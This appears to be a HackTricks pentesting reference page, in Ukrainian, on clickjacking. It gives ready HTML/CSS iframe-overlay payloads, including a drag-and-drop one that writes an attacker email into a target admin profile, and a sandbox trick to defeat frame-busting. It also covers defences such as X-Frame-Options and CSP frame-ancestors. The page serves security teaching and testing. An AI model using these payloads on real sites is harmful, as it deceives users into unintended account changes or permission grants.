Clickjacking
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке Clickjacking
У атаці clickjacking користувача обманюють на натискання елемента на веб-сторінці, який або невидимий, або замаскований під інший елемент. Ця маніпуляція може призвести до непередбачуваних наслідків для користувача, таких як завантаження шкідливого ПЗ, перенаправлення на шкідливі веб-сторінки, надання облікових даних або чутливої інформації, перекази грошей або онлайн-покупка товарів.
Трюк з попереднім заповненням форм
Іноді можливо заповнити значення полів форми, використовуючи GET-параметри під час завантаження сторінки. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
Заповнити форму за допомогою Drag&Drop
Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його написати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його Drag&Drop щось, що запише ваші контрольовані дані, як у цьому прикладі.
Основний Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Багатоступеневий Пейлоад
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Якщо ви виявили атаку XSS, яка вимагає, щоб користувач натиснув на якийсь елемент, щоб запустити XSS, і сторінка є вразливою до clickjacking, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.
Приклад:
Ви знайшли self XSS у деяких приватних даних облікового запису (дані, які тільки ви можете встановити та прочитати). Сторінка з формою для встановлення цих даних є вразливою до Clickjacking і ви можете попередньо заповнити форму з GET параметрами.
Зловмисник може підготувати Clickjacking атаку на цю сторінку, попередньо заповнивши форму з XSS payload і обманюючи користувача на відправлення форми. Отже, коли форма буде відправлена і значення будуть змінені, користувач виконає XSS.
DoubleClickjacking
Спочатку пояснено в цьому пості, ця техніка вимагатиме від жертви двічі натиснути на кнопку на спеціально створеній сторінці, розміщеній у певному місці, і використовувати різницю в часі між подіями mousedown і onclick, щоб завантажити сторінку жертви під час подвійного натискання, так що жертва насправді натискає на легітимну кнопку на сторінці жертви.
Приклад можна побачити в цьому відео: https://www.youtube.com/watch?v=4rGvRRMrD18
Приклад коду можна знайти на цій сторінці.
warning
Ця техніка дозволяє обманути користувача, щоб натиснути на 1 місце на сторінці жертви, обходячи всі захисти від clickjacking. Тому зловмисник повинен знайти чутливі дії, які можна виконати лише одним натисканням, такі як запити OAuth на прийняття дозволів.
Стратегії для пом'якшення Clickjacking
Захисти на стороні клієнта
Скрипти, виконувані на стороні клієнта, можуть виконувати дії для запобігання Clickjacking:
- Забезпечення того, щоб вікно програми було основним або верхнім вікном.
- Зробити всі фрейми видимими.
- Запобігання натисканням на невидимі фрейми.
- Виявлення та сповіщення користувачів про потенційні спроби Clickjacking.
Однак ці скрипти для знищення фреймів можуть бути обійдені:
- Налаштування безпеки браузерів: Деякі браузери можуть блокувати ці скрипти на основі своїх налаштувань безпеки або відсутності підтримки JavaScript.
- HTML5 iframe
sandbox
атрибут: Зловмисник може нейтралізувати скрипти для знищення фреймів, встановивши атрибутsandbox
зі значеннямиallow-forms
абоallow-scripts
безallow-top-navigation
. Це запобігає перевірці iframe, чи є він верхнім вікном, наприклад,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms
та allow-scripts
значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити передбачувану функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як allow-same-origin
та allow-modals
, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
Серверні захисти
X-Frame-Options
X-Frame-Options
HTTP заголовок відповіді інформує браузери про легітимність відображення сторінки в <frame>
або <iframe>
, допомагаючи запобігти Clickjacking:
X-Frame-Options: deny
- Жоден домен не може обрамляти вміст.X-Frame-Options: sameorigin
- Тільки поточний сайт може обрамляти вміст.X-Frame-Options: allow-from https://trusted.com
- Тільки вказаний 'uri' може обрамляти сторінку.- Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors.
Директива frame-ancestors політики безпеки вмісту (CSP)
Директива frame-ancestors
в CSP є рекомендованим методом захисту від Clickjacking:
frame-ancestors 'none'
- Схоже наX-Frame-Options: deny
.frame-ancestors 'self'
- Схоже наX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Схоже наX-Frame-Options: allow-from
.
Наприклад, наступна CSP дозволяє обрамлення лише з того ж домену:
Content-Security-Policy: frame-ancestors 'self';
Додаткові деталі та складні приклади можна знайти в документації frame-ancestors CSP та документації Mozilla про frame-ancestors CSP.
Політика безпеки вмісту (CSP) з child-src
та frame-src
Політика безпеки вмісту (CSP) є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту.
Директива frame-src
- Визначає допустимі джерела для фреймів.
- Більш специфічна, ніж директива
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ця політика дозволяє фрейми з того ж походження (self) та https://trusted-website.com.
child-src
Директива
- Введена в CSP рівня 2 для встановлення дійсних джерел для веб-робітників та фреймів.
- Використовується як резервний варіант для frame-src та worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ця політика дозволяє фрейми та воркери з того ж походження (self) та https://trusted-website.com.
Примітки щодо використання:
- Відмова: child-src поступово відходить на користь frame-src та worker-src.
- Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
- Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації.
JavaScript скрипти для зламу фреймів
Хоча вони не є абсолютно надійними, скрипти на основі JavaScript для зламу фреймів можуть бути використані для запобігання тому, щоб веб-сторінка була в фреймі. Приклад:
if (top !== self) {
top.location = self.location
}
Використання Anti-CSRF Токенів
- Валідація Токенів: Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, що змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.
Посилання
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.